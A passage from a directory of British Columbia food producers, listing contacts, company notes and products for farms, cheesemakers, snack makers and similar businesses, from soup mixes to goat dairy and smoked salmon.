Our dry Texas Tortilla Soup Mix is a great opening act for a barbecue, or your Mexican inspired meals or a meal in itself. Our Texas Tortilla Soup Mix contains pre-soaked red Mexican style beans, mildly spicy Tex-Mex seasoning & dehydrated vegetables. This soup is free of fat, low in sodium, a very high source of fibre, and a good source of Vitamin C and iron. Freeze the leftover soup for another meal.

#### Black Bean Soup and Chili Mix - 250g - Year Round

Our dry Black Bean Chili Mix gives a new twist on traditional chili and livens things up. Our Black Bean Chili Mix contains pre-soaked black beans, seasoning, and dehydrated vegetables. This is a very versatile box of possibilities and can be made as a soup, chili, or a wonderful dip (Check out the recipe section of our web page for the recipes). The Black Bean Chili Mix is very low in fat, a very high source of fibre (7 g per serving), low in sodium, a good source of vitamin C, a good source of iron and cholesterol free. Freeze your cooked soup, chili or dip for another day.

#### Dill Pea Soup Mix - 350g - Year Round

Our dry Dill Pea Soup Mix contains lentils, yellow & green split peas, our special seasoning and dehydrated vegetables. The Dill Pea Soup Mix is a fabulous harmonization between the dill and the hearty pea soup that this mix makes. This soup mix is free of fat, is a good source of fibre (3 g per serving), a good source of iron and cholesterol free. You can cook this one up with ham, or without as a vegetarian alternative, or as a great Borscht (See recipes under the recipe section of the web page). Cook our dill pea soup on your stove top or in a crock pot. Freeze any soup leftovers.

#### Beef & Barley Soup Mix - 200g - Year Round

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Our dry Beef and Barley Soup Mix is a hands down winner! This simple to make soup mix will satisfy most any appetite. Our Beef and Barley soup mix contains barley, dehydrated veggies, and our special seasoning mix which gives it a rich beefy taste. All that needs to be added is the beef & tomato juice or tomatoes. This soup mix is free of fat; is a good source of fibre (3 g per serving) and cholesterol free. This one can simmer on your stove for a hour or in your slow cooker for the day, giving you a delectable aroma of home cooked beef and barley soup. Freeze any leftovers for another meal. (Good Luck with that one, there is usually none left!)

#### Minestrone Soup Mix - 150g - Year Round

Our Minestrone Soup Base contains Italian spices, veggies, and orzo pasta to make a 10 cup pot of soup. You just add tomato juice or canned tomatoes, pre-cooked beans or lentils of your choice and, perhaps Italian sausage to jazz it up. This product takes approximately 5 minutes to prepare and a 1/2 hour to cook.

#### Spanish Bean & Rice Casserole Mix - 250 g - Year Round

Our dry Spanish Bean & Rice Casserole Mix contains pre-soaked red Mexican style beans & brown rice, with mild Southern seasoning & dehydrated vegetables. This one can also be the center attraction or a side dish. This one is just a blank slate looking for your ideas.

#### Lentil & Rice Pilaf - 300g - Year Round

Our dry Lentil & Rice Pilaf is a delightful blend of 4 grains-lentils, barley, brown rice, and wild rice finished off with a curry-flavored seasoning package and dehydrated veggies. Our Lentil & Rice Pilaf works great as the center of the meal or as a side dish. This one cooks up great in the rice cooker too, just take out the rice as soon as the rice cooker is finished cooking

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## Glenwood Farms - 778-878-1875

**Contact:** Bernice Neff

**Toll Free:** Unavailable

**Phone:** 778-878-1875

**Cell:** Unavailable

**Fax:** 604-534-6959

**Email:** [ourfarmersmarket@telus.net](mailto:ourfarmersmarket@telus.net)

**Website:** Unavailable

**Address:**

2100 - 208th Street

Langley, BC

V2Z 2A9

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Glenwood Farms is producing all of the listed products that are mostly grown on Glenwood Farms or Garden Fresh Foods Farm. We pride ourselves in utilizing our own products to produce some old fashioned value added products. We have partnered with Bernice Neff who has provided us with recipes and know how in the creation of these old fashioned nostalgic recipes. Have been very well received at many farmers markets and a few retail outlets.

At Glenwood Farms we have also accomplished these products: Strawberry Jam;

Blueberry Jam;

Blackberry Jam;

Apple Cranberry Chutney;

Blackberry Chipolte;

Cranberry Orange Pepper Marmalade;

Hot Yellow Pepper Jelly;

Hot Red Pepper Jelly;

Hot Green Pepper Jelly;

Fresh Tomato Salsa;

**Products Available:**

Greenhouse Goya (Limited Supply) -

No description available

Greenhouse Hot Peppers - Summer

No description available

Greenhouse Sweet Peppers - Summer

No description available

Eggplant Chutney - Summer

No description available

Hot Pepper Jellies -

No description available



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Blackberry Jams and Jellies -

No description available

Apple Jelly -

No description available

Cucumber Relish -

No description available

Eggplant Dips -

No description available

Greenhouse Cucumbers - Summer

No description available

Greenhouse Miniature Cucumbers - Summer

No description available

Hot Pickled Peppers - Year Round

No description available

Indian Curry Pickles - Year Round

No description available

Roasted Red Peppers and Garlic in Rosemary -

No description available

Pickled Peppers - Summer

No description available

Dill Pickles - Year Round

No description available

Bread and Butter Pickles - Year Round

No description available

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## GlobalPro Enterprises Inc. - 604-796-3736

**Contact:** Frank Wang

**Toll Free:** Unavailable

**Phone:** 604-796-3736

**Cell:** Unavailable

**Fax:** 604-796-3736

**Email:** [aggagr@gmail.com](mailto:aggagr@gmail.com)

**Website:** Unavailable

**Address:**

8026 Scott Road

Agassiz, BC

V0M 1A2

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Featuring a safe, natural growing environment with superior quality control and without any chemicals. Consistent, ensured reliability of delivery, on a just-in-time basis, to supply fresh-to-you product of 50 lb per day.

**Products Available:**

Oyster White Mushroom - Year Round

No description available

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## Golden Ears Cheesecrafters Ltd. - 604-467-0004

**Contact:** Emma & Jenna Davison

**Toll Free:** Unavailable

**Phone:** 604-467-0004

**Cell:** Unavailable

**Fax:** 604-467-0099

**Email:** [goldenearscheese@gmail.com](mailto:goldenearscheese@gmail.com)

**Website:** [www.goldenearscheesecrafters.com](http://www.goldenearscheesecrafters.com)

**Address:**

22270-128 Ave.

Mapel Ridge, BC

V4R 2R1

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Taste our family's finest selection of handcrafted Artisan Cheeses! Made with simple ingredients, beginning with farm fresh jersey milk. We are family owned and operated, local artisan farmgate cheesecrafters. Come and visit our retail shop and chef demo kitchen on site.

**Products Available:**

**Artsan Natural Cheeses - Year Round**

Natural Cheeses made with family farm's fresh Jersey milk. Small batch, slow pasturized artisan cheese. Note - All of our cheeses are free of hormones, antibiotics, preservatives & coloring. Wheels, 1/2 wheels & vacuum packaged pieces available

**Artisan Bries - Year Round**

Made with triple cream fresh Jersey Milk. Small batch, slow pasteurized. Baby size and party size available. Wrapped and labled.

**Natural Artisan Goudas - Year Round**

Natural Artisan Goudas in plain or several flavorings, ie. smoked,cranberry, cumin, chili, dill, black pepper, onion garlic, Small batch, slow pasturized fresh Jersey milk.

**Natural Artisan Havartis - Year Round**

Natural Artisan Havartis - fenugreek, chipotle, garlic, garden herb, sundried tomato, chili

**Neufchatel Cream Cheese - Year Round**

Neufchatel Cream Cheese - handmade, light, creamy texture. Plain and garden herb.

**Quark - Year Round**

Quark - fresh soft cream cheese , handmade made with skim Jersey milk. Plain, cranberry, chive, black pepper

**Fresh Poutine Curds - Year Round**

Fresh Poutine Curds (squeaky cheese) made weekly on cheddar day. Available by kg. or small 250g bags. Plain or flavored available. Roasted garlic & red pepper, dill, greek, chipotle.

**Additional Products -**

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Additional products made from our slow pasturized Jersey Cow Milk are available in limited supply. These include: fresh hand churned butter, Stilton Cambozola Feta. Special custom orders accepted. Please call to discuss.

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## Goldstream Gardens Ltd. - 250-248-8809

**Contact:** Sunshine Goldsberry

**Toll Free:** Unavailable

**Phone:** 250-248-8809

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [nature1@uniserve.com](mailto:nature1@uniserve.com)

**Website:** Unavailable

### **Address:**

Box 429 2459 Grafton Ave.

Coombs, BC

V0R 1M0

### **Regions Supplied:**

### **Company Notes:**

Hand picked for the discerning chef and families in mid-Vancouver Island. Fresh in season, grown in the healthy mountain air of Coombs. Sold locally for 20 years at Farmers Markets and restaurants. We have always produced organically but have no certification. Open to anyone's inspection. Many of our herbs are done in small quantities for 1 or 2 outlets year around. Just ask.

### **Products Available:**

#### Dried Bay Leafs - Year Round

Large, whole leaves, fresh or dried year round. Highest quality available, colour, pungency and size.

#### Dried White Leafed Mints - Year Round

Orange, Peppermint, Aquamint, Spearmint, Mint Julep and the best Peppermint. Aroma and taste; colour preserved.

#### Dried French Tarragon - Year Round

Real aroma and colour preserved. Hand cut and carefully dried.

#### Dried Greek Oregano - Year Round

Pungent, hot for pizzas and Mid-Eastern cooking.

#### Lavender Provencale - Year Round

Long stemmed, holds colour and aroma as it dries. Hand cut, used for French perfumes. Fresh June - September. Dried available year round.

#### Fresh French Tarragon - Fall,Summer

Real tarragon for the chef, hand cut, retains flavor and aroma.

#### Fresh Bay Leaves - Year Round

For soups, poultry and also sold as a soup mix. Addition of lorage and parsley. Fresh year round.

#### Fresh Greek Oregano - Fall, Spring, Summer

The real oregano of fine cooking. Strong and hot, unparalleled pungency.

#### Fresh Mints -

Orange, Peppermint, Aquamint, Spearmint, Mint Julep and the best Peppermint - so sweet. Fresh in season.

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Variety of Fresh Herbs - Year Round

Many other herbs in season - Cilantro and Coriander, Parsley (curley and Italian, for cooking).

Tomatillo - Year Round

Non-acidic replacement for tomato, used in all salsas of quality, Mexican cooking. Fresh nearly all year.

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## Gort's Gouda Cheese Farm - 250-832-4274

**Contact:** Gary and Kathy Wikkerink

**Toll Free:** Unavailable

**Phone:** 250-832-4274

**Cell:** Unavailable

**Fax:** 250-832-5522

**Email:** [Please see web-site](#)

**Website:** [www.gortsgoudacheese.bc.ca](http://www.gortsgoudacheese.bc.ca)

### **Address:**

1470-50th Street SW

Salmon Arm, BC

V1E 3B5

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

### **Company Notes:**

Gort's Gouda Cheese Farm is a family-owned and operated company . We have been in business for over twenty years. Our specialty cheeses are made right on the farm. Our Gouda, Yogurt, Quark and Feta Cheeses are made from locally-produced milk. Our newest line of cheese is the Maasdammer, produced from our own small herd of grass fed milking Shorthorns and Brown Swiss. Please see our website for more information.

### **Products Available:**

#### Maasdammer Cheese - Mild, Medium, Aged and Spiced - Year Round

A Swiss-style cheese with semi-firm texture and large eye formation. The Maasdammer has a slightly sweet and nutty flavour. The cheese is made with our own unpasteurized cows' milk. The cows graze on grass and are fed our own special blend of feed that is blended and ground on our farm. Maasdammer is made in 8 kg wheels. No preservatives or artificial flavours are used in the producing of this cheese. Maasdammer is an excellent cheese to use in sandwiches, fondues, cheese sauces and soups. It is available in mild, medium and aged flavours. The Maasdammer is produced in small batches to ensure quality.

#### Bulgarian Yogurt and Quark - Year Round

This increasingly popular yogurt can be eaten plain, with granola, or blended with liquid honey and some fresh Okanagan berries to serve as a tasty fruit smoothie! Made the old-fashioned way, the yogurt is hung in cloth bags to thicken, and no preservatives or thickening agents are added. The milk fat content of the regular yogurt is 7%. Quark has ½ the fat of regular cream cheese, and can be used in cheesecakes, as a spread with spices or jams, or blended with fresh fruit. Quark has a milk fat content of 12%, and has been around - according to scripts from ancient Greece, China, Rome and Middle Eastern countries - for centuries as a nutritional food item. It is also available in low fat.

#### Cow Feta Cheese - Year Round

Available in plain, oregano/tomato/garlic, and tomato/basil. Feta is a classic curd cheese whose tradition dates back thousands of years. Feta is a staple, crumbled in Greek salad; but don't stop there. It is a great addition to any salad or pasta dish, or try it on pizza! Traditionally, feta was made from goat or sheeps' milk. Our feta is made from cows' milk, giving it a slightly milder flavour. Our feta comes in approximately 200 g pieces and is vacuum packed. If you prefer some more flavour, try the spiced feta available in basil & tomato or tomato, garlic & oregano flavours.

#### Gouda Cheese - Mild, Medium and Aged - Year Round

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If you are looking for some good old-fashioned plain gouda, there are three choices. All of them are creamy, well textured, and range from a mild gouda flavor to the distinct, hearty taste of our award-winning Aged. The Mild Gouda is about two months old and is perfect if you are looking for a lighter-tasting cheese. Our Medium is four to six months old, giving it a little bit stronger taste than the Mild. Both the Mild and Medium are also available in the traditional Dutch Style which means a coating is applied by hand to give the Gouda a harder rind, in turn giving the cheese a slightly nuttier flavor. Alas, the Aged Gouda. Receiving first place at the Canadian Cheese Grand Prix in 2004, we can barely keep this one on the shelf! Aged for at least one year or more, this cheese has an extremely creamy texture and rich flavor. It melts in your mouth!

#### Gouda Cheese - Light, Spiced and Smoked - Year Round

If you think a cheese with a lower fat content would be dry and without flavour, think again! Our light-style Gouda is moist and surprisingly flavourful. With a milk fat content of 17% (while our other cheeses are 33%), our Light Gouda sells remarkably well. A light/low salt Gouda is also available in our store. With our Spiced Gouda, there are 13 flavours to choose from; including red pepper, peppercorn, parsley, Italian, Greek, jalapeno habenero, habenero, and cumin. If you like that "smoky" taste, here's your cheese: our smoked-flavoured Gouda remains a popular choice with its creamy texture. Look for it in its black, waxed coating.



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## Gourmet Savories & Sweets - 604-984-0188

**Contact:** Anil Suri  
**Toll Free:** Unavailable  
**Phone:** 604-984-0188  
**Cell:** Unavailable  
**Fax:** 604-984-6388  
**Email:** [anilsuri@telus.net](mailto:anilsuri@telus.net)  
**Website:** Unavailable

**Address:**  
1427 Hunter Street  
North Vancouver, BC  
V7J 1H3

**Regions Supplied:**  
- Vancouver/Mainland  
- Vancouver Island & Gulf Islands

**Company Notes:**  
Gourmet Savories and Sweets has been in business for 13 years and our Pesto is the best in British Columbia. Produce by Chef Anil Suri, our products can be used as a base for different cooking methods and in pizzas, and sandwiches.

### Products Available:

#### Pesto Sauce - Year Round

Basic sauce to be served with pasta or specialty foods. We have original authentic italian recipes which can be processed in small batches and various packages.

#### Mediterranean Olives Tapenade - Year Round

Can be used for appetizers, to be used on crackers, sandwiches, pasta, etc.

#### Black Olive Tapenade - Year Round

Can be used for appetizers, as a side with meats, etc.

#### Sundried Olive Spread - Year Round

Used with appetizers, on crackers, pasta, pizza, etc.

#### Vegetable Antipasto - Year Round

Very nice blend of mixed vegetables, served as an appetizer with crackers, chips, etc.

#### Tuna Antipasto - Year Round

Same as vegetable antipasto, with an addition of tuna.

#### Mango Chutney - Year Round

No description available

#### Eggplant & Pepper Spread - Year Round

No description available

#### Kalamari Olives - Year Round

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No description available

Artichokes - Year Round

No description available

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## Granola Girl Enterprises, Inc. - 604-837-3441

**Contact:** April Bellia

**Toll Free:** Unavailable

**Phone:** 604-837-3441

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [thegranolagirl@shaw.ca](mailto:thegranolagirl@shaw.ca)

**Website:** [www.theGranolaGirl.ca](http://www.theGranolaGirl.ca)

**Address:**

628 East Kent Avenue

Vancouver, BC

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Granola Girl is a Vancouver based company specializing in vegan and organic granola. This is a wheat free granola with a home-made flavor and we don't use refined sugar. Our granola is lightly sweetened with organic cane sugar and maple syrup. The Original recipe includes hemp seeds and goji berries and other delicious organic ingredients including coconut, pumpkin seeds, sesame seeds, cranberries and almonds.

**Products Available:**

Granola Girl Organic Vegan Granola - Year Round

No description available

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## Great Gyros & Foods - 604-594-4970

**Contact:** George Gorgounis

**Toll Free:** Unavailable

**Phone:** 604-594-4970

**Cell:** Unavailable

**Fax:** 604-594-4980

**Email:** [sales@greatgyros.com](mailto:sales@greatgyros.com)

**Website:** [www.greatgyros.com](http://www.greatgyros.com)

**Address:**

8-13140 88 Avenue

Surrey, BC

V3W 3K3

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Original recipes and in business for 20 years.

**Products Available:**

Gyros Cones - Beef, Lamb, Chicken, Halal - Year Round

Beef, Lamb, Halal, Marinated Chicken. Original recipes, 10 - 15 lb bx.

Souvlakis - Chicken, Beef or Lamb - Year Round

Marinated, 5 lb bags, cubes only. Ready to serve.

Greek Pies - Year Round

Spinach, Chicken and Spinach, Beef/Spinach, Lamb/Spinach Greek pies. Original recipes.

Greek Dips - Year Round

Greek Dips - Tzatziki, Humous, Greek Eggplant, Taramosalta, Red Roasted Pepper, and Greek Olive

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## H. B. Kaysons Ltd. (Gurulucky Snacks Ltd.) - 604-594-9800

**Contact:** Jeetu Patel

**Toll Free:** Unavailable

**Phone:** 604-594-9800

**Cell:** Unavailable

**Fax:** 604-594-9852

**Email:** [guruluckysnacks@yahoo.com](mailto:guruluckysnacks@yahoo.com)

**Website:** [www.gurulucky.com](http://www.gurulucky.com)

### **Address:**

7660 - 134th Street

Surrey, BC

V3W 7T8

### **Regions Supplied:**

### **Company Notes:**

Indian snacks

### **Products Available:**

#### Samosas and Roti Wraps - Year Round

We manufacture Vegetable Samosas, Chick Samosas, Beef Samosas, and Roti Wraps, too. We make everything in house and we also manufacture according to customers' special recipes. We supply this product as cooked and frozen or just frozen for customers to fry or bake in their restaurants or homes. Our products are supplied as frozen ready to eat or just processed to our customers' own processing method. We make two sizes: Bite-sized (cocktail), 50 g and Meal Size, 120-135 g.

#### Noodle, Bean and Lentil Snacks. - Year Round

Sev/Noodles (made from chickpea/Pea Flour), green peas, whole chickpea, and lentils. These are all roasted and mixed as a blend of snacks with various beans and lentils. We make such snacks as Punjabi Mix, Mix Bhuja, Spicy Peas, Murku, etc. All the snacks are gluten free and dairy free. We supply them to all grocery chains and Mom and Pop stores. These snacks are sold in bulk and packages under GuruLucky Brands.

#### Special Request Snacks - Year Round

We can manufacture snacks and frozen food by customers' special request and blend and private brand packaging.

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## Happy Days Dairies Ltd. - 250 832 0209

**Contact:** Donat Koller

**Toll Free:** Unavailable

**Phone:** 250 832 0209

**Cell:** Unavailable

**Fax:** 250 832 020

**Email:** [happydaysdairies@telus.net](mailto:happydaysdairies@telus.net)

**Website:** [www.goatcheese.ca](http://www.goatcheese.ca)

### **Address:**

691 Salmon River Road

Salmon Arm, BC

V1E 3E9

**Regions Supplied:** All of BC

### **Company Notes:**

Happy Days Goat Dairy was founded in 1993 as a family business in Salmon Arm, BC. We are the largest supplier of fluid goat milk in Western Canada and play an important role in supplying retail stores and the food service industry with a variety of goat milk, goat milk cheeses, goat milk yogurts, and goat milk ice cream.

### **Products Available:**

#### Goat Milk Yogurt in different Flavours - Year Round

Our regular goat milk yogurt now comes in strawberry and vanilla (both of course with natural flavor) and we use the highly beneficial bacteria acidophilus and bifidus. Our newest yogurt product is a probiotic drink available in vanilla or plain, that contains three different probiotic live bacteria cultures (acidophilus, bifidus, and L. Casei). We do not add any agar, which leaves the product liquidy and easy to drink.

#### Goat Milk Kefir - Year Round

We are proud to be the first dairy offering a goat milk kefir. It comes in a plain and blueberry version. Kefir is a natural effervescence, producing gas; that's why we package it into a PET bottle. Kefir is the world champion product in offering live microorganisms, billions in just one tablespoon. It is also called the drink of the centenarians.

#### Goat Milk Ice Cream - Year Round

No description available

#### Natural Whole Goat Milk - Year Round

Happy Days offers 100% pure fluid Whole Goat Milk in both the 2 L and 1 L size as well as Skim Goat Milk in the 1 L size.

#### Soft unripened Goat Milk Cheeses - Year Round

Soft unripened Goat Milk Cheeses, in a variety of shapes and sizes, and flavours

#### Firm, and ripened Goat Milk Cheeses - Year Round

Mozza, cheddar and feta, in a variety of shapes and sizes.

#### Chevre Cheese Cake - Year Round

No description available

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## Happy Pig Organic Farm - 250 846 5989

**Contact:** Marlene Thimer

**Toll Free:** Unavailable

**Phone:** 250 846 5989

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [happyigorganicfarm@gmail.com](mailto:happyigorganicfarm@gmail.com)

**Website:** Unavailable

**Address:**

21641 Walcott Road

Telkwa , BC

V0J 2X2

**Regions Supplied:** All of BC

**Company Notes:**

Happy Pig Organic Farm is a family owned small scale certified organic farm on 320 acres in the Bulkley Valley near Smithers, BC. All of our animals are pasture raised so that they can root, scratch and peck as nature intended.

**Products Available:**

Pasture raised Berkshire Pork - Year Round

Certified Organic, pasture raised Berkshire pork, PACS 16-466. Available throughout the year.

Pasture raised Chicken - Fall,Summer

Certified Organic, pasture raised Chicken, PACS 16-466 Available Seasonally

pasture raised Turkey - Fall,

Certified Organic, pasture raised Turkey, PACS 16-466 Available Seasonally

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## Hardy Buoys Smoked Fish Inc. - 877-949-8781

**Contact:** Bruce or Carol Dirom

**Toll Free:** Unavailable

**Phone:** 877-949-8781

**Cell:** Unavailable

**Fax:** 250-949-8761

**Email:** [sales@hardybuoys.com](mailto:sales@hardybuoys.com)

**Website:** [www.hardybuoys.com](http://www.hardybuoys.com)

### **Address:**

Box 401

Port Hardy, BC

V0N 2P0

**Regions Supplied:** All of BC

### **Company Notes:**

Hardy Buoys is proud to provide you with the finest gourmet hot-smoked salmon available. We use fresh, locally-caught salmon, as well as farm-raised Atlantic salmon, plus our own special ingredients for seasoning, and pure alder wood chips for authentic flavouring. We have built a strong reputation, producing a variety of exquisite products and providing excellent service to our customers. Please see our website for more information.

### **Products Available:**

#### Hot Smoked Salmon - Year Round

These mouth-watering, legendary flavours add the "spice of life" to any selection of fish you choose to smoke. All natural ingredients are used to ensure a fresh tasting and nutritious product, while pure alder chips for smoking enhance the authentic flavour. Available in a variety of flavours including Spicy Cajun, Natural, Cracked Peppercorn, and Fresh Garlic. Please view our website at [www.hardybuoys.com](http://www.hardybuoys.com) for product details.

#### Smoked Salmon Candy Strips - Year Round

This is truly a West Coast specialty. Full body strips of freshly-caught, wild Pacific salmon are glazed with a secret Hardy Buoys sauce, then smoked long and hot. They turn into irresistible twists of sweet-tasting jerky. Melt in your mouth delicious!

#### Smoked Salmon Nuggets - Year Round

Hardy Buoys Smoked Fish Inc. is proud to offer you an authentic, award-winning, smoked salmon product (a winner in the 2002 BC Seafood Sensations contest for most innovative value-added seafood product). Hardy Buoys uses no liquid smoke, preservatives, chemicals, or dyes - only sugar, salt and alder wood chips. These Smoked Salmon Nuggets and other quality products are available at select grocery and specialty stores. 2002 BC Seafood Sensation 2nd place winner!

#### Fresh Seafood - Year Round

Mussels, clams, oysters, scallops, halibut, ling cod, live crab & lobster, and salmon. Locally caught, fresh daily! Please contact us for prices.



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## Harmony Farm Lamb - 250-375-2528

**Contact:** Patricia Porter

**Toll Free:** Unavailable

**Phone:** 250-375-2528

**Cell:** Unavailable

**Fax:** 250-375-2528

**Email:** [patriciawithharmony@gmail.com](mailto:patriciawithharmony@gmail.com)

**Website:** <http://harmonyfarmkennelandlamb.com>

### **Address:**

4319 Paxton Valley Road

Monte Lake, BC

V0E 2N0

### **Regions Supplied:**

- Thompson/Okanagan
- Vancouver/Mainland

### **Company Notes:**

Harmony Farm Lamb is raised ethically with tender loving "care and conscience" with a holistic approach unique to sheep farming. From start to finish 100% chemical free. Mountain grasses, spring water, excellent local hays and feed and all essential minerals provide for optimum growth, naturally resulting in processing at live weights of 110 to 140 pounds at 6 to 9 months, all year round. Every lamb is imprinted to ensure a stress free life, without the production of adrenaline. This translates to HAPPY LAMBS equals HAPPY MEAT. 23% less fat and bone results in delicious flavourful lean yet tender meat without any ramey or gamey taste and no odour when cooking. Less bone results in yields of higher meat per carcass. The culmination of unique delicious flavour together with sensational tenderness makes our year round Harmony Farm Lamb a British Columbia premier Choice for your unrivaled eating experience!

### **Products Available:**

BC Premium Gourmet Quality St. Croix Lamb - Year Round

BC Premium Gourmet Quality St. Croix Lamb, raised ethically, with care and conscience, stress and chemical free start to finish. 23% less fat/bone, mild flavour without gamely or tallow taste (or odour to cook), tender, lean and delicious! Harmony Farm Lamb is produced from exquisite St. Croix hair bred sheep renowned for superior quality meat and open for breeding/lambing all year round. Processing monthly for whole or half, fresh/frozen custom cut, double wrapped or butcher prepped carcass. You will love to taste the difference of St. Croix Lamb all year round!

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## Hempress Foods - 250-619-6111

**Contact:** Karen Smith

**Toll Free:** Unavailable

**Phone:** 250-619-6111

**Cell:** Unavailable

**Fax:** 250-821-8210

**Email:** [info@hempress.ca](mailto:info@hempress.ca)

**Website:** [www.hempress.ca](http://www.hempress.ca)

### Address:

Nanoose Bay, BC

V9P 9E9

### Regions Supplied:

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### Company Notes:

Small batch, hand-made hemp foods on Vancouver Island. Happiness for your mouth, not just your body.

More Hempowered products coming in 2013!

### Products Available:

#### Grinola - Year Round

"Grinola" This is our small-batch produced hemp cereal, a '\grinning\' formula made by hand by the sea in Nanoose Bay, Vancouver Island. We use as local and as unprocessed ingredients as possible, including hemp and oats from our prairies. Our Grinola is very high in protein (8g) and fibre (4g) with only 2g of unrefined, low-glycemic sugars. We pre-soak the seeds and oats to promote the enzymes and bake it low and slow for toasty crunch. Serve with your favourite milk or yoghurt and fruit. Or just munch naked.

#### Grinola Bar - Year Round

Dark Chocolate Berry "Grinola" Bar. With exactly the same wholesome ingredients as our "Grinola" cereal, our scrumptious hand-cut bars have all the same goodness packed tightly into a toothsome, chewy bar under a blanket of dark 72% French chocolate. Packed with Omegas, protein and fibre, our bars are the perfect portable munchie to keep you going for hours.

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## Herb House - 604-857-2163

**Contact:** Colleen Bourke

**Toll Free:** Unavailable

**Phone:** 604-857-2163

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [herbhouse\\_info@shaw.ca](mailto:herbhouse_info@shaw.ca)

**Website:** Unavailable

**Address:**

24578 54th Avenue

Langley, BC

V2Z 1H5

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Herb House has a selection of medicinal and culinary herbs; exotic species and plants native to BC. All of our product is chemical free and hand harvested with respect for Mother Nature.

**Products Available:**

Dried and Fresh Herbs - Spring,Summer

A wide variety of dried and fresh herbs available. Call for itemized list and availability.

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## Herbal Traditional Treasures - 604-590-1739

**Contact:** M. S. Barilaaaros

**Toll Free:** Unavailable

**Phone:** 604-590-1739

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [barillarob@hotmail.com](mailto:barillarob@hotmail.com)

**Website:** In Process

**Address:**

8959-138th Street, PO Box 1

Surrey, BC

V3V 6X3

**Regions Supplied:**

**Company Notes:**

Natural craft herbs

**Products Available:**

No products listed.

## Hilary's Cheese Company - 250-715-0563

**Contact:** Hilary & Patty Abbott

**Toll Free:** Unavailable

**Phone:** 250-715-0563

**Cell:** Unavailable

**Fax:** 250-715-0564

**Email:** [hilarys@cowichan.com](mailto:hilarys@cowichan.com)

**Website:** Unavailable

### Address:

1282 Cherry Point Road

Cowichan Bay, BC

V0R 1N2

### Regions Supplied:

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### Company Notes:

Artisan cheese production; goat and cows' milk cheeses. Fresh, surface-ripened and aged varieties "all made from milk pasteurized at our operation.

### Products Available:

#### Cheddar Portions - Year Round

Cheddar Portions enveloped in Black Cheese Wax (MF/MG 31% - MOIST/HUM 39%). A rich creamy version of the centuries old recipe " packaged in a format ideally suited for the restaurateur who wishes to give a guest a portion of cheese without challenging storage issues. Each portion is approximately 40 grams in weight and coated with black cheese wax, making for an elegant and contrasting presentation on any cheese platter.

#### Fromage a la Crème - Year Round

Fromage a la Crème (MF/MG 22% - MOIST/HUM 64%). A light-lemony-spreadable cheese, which lends itself to a chef's creativity. Blended with savoury or sweet ingredients, this deep-yellow, fresh cheese offers staff a unique alternative to standard cream cheeses as well as being an interesting substitute for Ricotta. Although served fresh is best, this is one cheese that freezes well, allowing for good inventory and cost control. This product can be shipped in various size-formats (ie. 250 g, 500 g tubs and 1kg cryovac).

#### Red Dawn Cheese - Year Round

Red Dawn (MF/MG 31% - MOIST/HUM 39%) - A French-inspired tomme or loaf of cheese, the rind of which has been gently washed/massaged for up to thirty days in Vancouver Island ales and ciders. The intended purpose is to encourage the breakdown and ripening of the cheese from the rind towards the center. A light but distinct pungency develops, enhancing the buttery, creamy nature of the cheese. The rind of Red Dawn has a warm orange hue. This product comes in two (2) formats, 600 g and 2.2 kg.

#### St. Clair Cheese - Year Round

St. Clair (MF/MG 25% - MOIST/HUM 50%) - Our velvety version of a "Camembert-style" cheese. Whoops " did we call this "Camembert"? Unless we produce the cheese in Normandy France from raw milk from the Norman cows, following strict adherence to controlled specifications, use of the word "Camembert" is verboten. So we didn't; ours is St. Clair " a West Coast inspiration with a nutty flavour and a wonderful white rind bloom with hints of a mushroom-like aroma. For presentation, we offer the food service industry a multitude of shapes " from the small button or thimble-shaped cheese, through to Valencay shape, as well as traditionally-shaped cheeses. In most cases at the beginning of the ageing process we cut the cheeses in half " allowing for better portion control and the ability to showcase various cheeses, while living within budget constraints.

#### Belle Ann Cheese - Year Round

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Belle Ann (MF/MG 31% - MOIST/HUM 39%) - A French-inspired tomme or loaf of cheese, the rind of which has been gently washed/massaged for up to thirty days in Vancouver Island blackberry port. The intended purpose is to encourage the breakdown and ripening of the cheese from the rind towards the center. A light but distinct pungency develops with a striking contrast of the blue/grey rind against the white pate of the cheese. This product comes in two (2) formats, 600 g and 2.2 kg.

#### Goat Cheddar Portions - Year Round

Goat Cheddar Portions enveloped in black cheese wax (MF/MG 31% - MOIST/HUM 39%) - A brilliant white version of the centuries-old recipe, packaged in a format ideally suited for the restaurateur who wishes to give a guest a portion of cheese without challenging storage issues. Each portion is approximately 40 grams in weight and coated with black cheese wax, making for an elegant and contrasting presentation on any cheese platter. Larger formats of waxed and unwaxed portions are also available from 250 g to multiple kilogram weights.

#### Chevre Cream Cheese -

Chevre (MF/MG 22% - MOIST/HUM 64%) - A striking white cream cheese, unique in its flavour. Served fresh and stored frozen, this cheese gives a chef a high degree of versatility for menus calling for goat cheese "and yet it is considerably economical in value. Formats range from 250 g to 1 kg cryovac.

#### Feta Cheese - Year Round

Feta (MF/MG 22% - MOIST/HUM 55%) - Following a recipe passed down from a master cheese maker has enabled the creation of a feta that rivals Old World versions "yet is fresh and zesty here on the West Coast. Delivered in multiple size formats "cryovac or delivered in whey brine.

#### St. Michel Cheese - Year Round

St. Michel (MF/MG 25% - MOIST/HUM 50%) - A goat version of our St. Clair; that's the one we cannot call "Camembert." Though with a different name, it has the same delectable qualities attributed to St. Clair "rich in creamy texture, nutty, mushroom-like rind "with a flavourful goat pungency.

#### Special Orders -

We welcome input from chefs as we strive to produce a cheese unique to an individual's specification.

#### Dairy (Cow) Milk - Varieties - Year Round

Our milk comes from a Vancouver Island farm, where the family believes passionately in allowing its herd to graze upon the natural grasslands surrounding its farm from spring until fall. This ensures higher levels of omega-3 fatty acids, vitamin E and higher concentrations of conjugated linoleic acid. See "Meet Jo Robinson" at the [www.eatwild.com](http://www.eatwild.com) website.

